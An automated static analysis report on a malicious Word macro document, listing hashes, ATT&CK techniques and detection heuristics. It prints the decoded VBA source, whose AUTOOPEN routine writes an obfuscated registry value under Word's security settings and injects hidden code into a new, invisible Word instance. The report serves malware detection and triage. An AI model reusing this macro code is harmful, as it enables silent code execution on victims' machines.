Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 46c15fa7bfa39d2b…

MALICIOUS

Office (OOXML)

46.4 KB Created: 2021-05-10 08:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 92fc5df18a99dcc81c00e2f470196c6b SHA-1: 7f89cced469c8a597b40c1b8c947fc0fee6f57bb SHA-256: 46c15fa7bfa39d2beef250ada9dbee211dd632dfc80bde513d934002ae663f03
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1137.001 Office Application Startup: Office Application T1204.002 Malicious File: User Execution: Malicious File

The sample is a malicious OOXML document containing VBA macros. The AUTOOPEN macro triggers the execution of VBA code that uses WScript.Shell and CreateObject to add new VBA code to a newly created Word document. This technique is often used to establish persistence or download and execute additional malicious payloads. The reconstructed registry path for persistence is HKEY_CURRENT_USER\Software\Microsoft\Office\Word\Security\Accessibility\Access1OM.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub listSizeGlobal()
With CreateObject("wscript.shell")
.RegWrite screenLoadProcedure & listboxRequest & countClear, 1, "REG_D" & UCase(valueVar)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub listListbox(storageIndex As String)
Set listProcedureNext = CreateObject("word.application")
With listProcedureNext.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AUTOOPEN()
requestStruct
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2176 bytes
SHA-256: 84840657b662a40217aefd868d00cbe6a795836e8cefb4b8426299dc916e2763
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{98FAB687-AC5B-4C82-B3DD-EF986FA926BE}{70D8FCF1-8A43-4BA9-9F36-BE0E3C170731}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lenCollection"
Function exceptionNamespacePtr()
exceptionNamespacePtr = UCase("_current_")
End Function
Function requestSwapRepo()
requestSwapRepo = Trim("ware\Microsoft\Off")
End Function
Sub AUTOOPEN()
requestStruct
Dim ATextboxGeneric As String
ATextboxGeneric = copyIteratorWindow
listListbox ATextboxGeneric
End Sub

Attribute VB_Name = "deleteCounter"
Sub listListbox(storageIndex As String)
Set listProcedureNext = CreateObject("word.application")
With listProcedureNext.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString storageIndex
End With
listProcedureNext.Visible = False
listProcedureNext.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "ptrVariable"
Function screenLoadProcedure()
screenLoadProcedure = "HKEY" & exceptionNamespacePtr & "USER\Soft" & requestSwapRepo & "ice\"
End Function
Function countClear()
countClear = "\Word\Secur" & linkWGlobal
End Function
Function linkWGlobal()
linkWGlobal = Replace("1", "VB", "ity\Access1OM")
End Function
Sub requestStruct()
listSizeGlobal
End Sub

Attribute VB_Name = "funcResponse"
Function listboxRequest()
listboxRequest = Application.Version
End Function
Function valueVar()
valueVar = "word"
End Function
Sub listSizeGlobal()
With CreateObject("wscript.shell")
.RegWrite screenLoadProcedure & listboxRequest & countClear, 1, "REG_D" & UCase(valueVar)
End With
End Sub
Function copyIteratorWindow()
copyIteratorWindow = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: 58b58fea4323a9c1a4248b25d33fa074561c6f0fa8acef8740caba34f5d10188
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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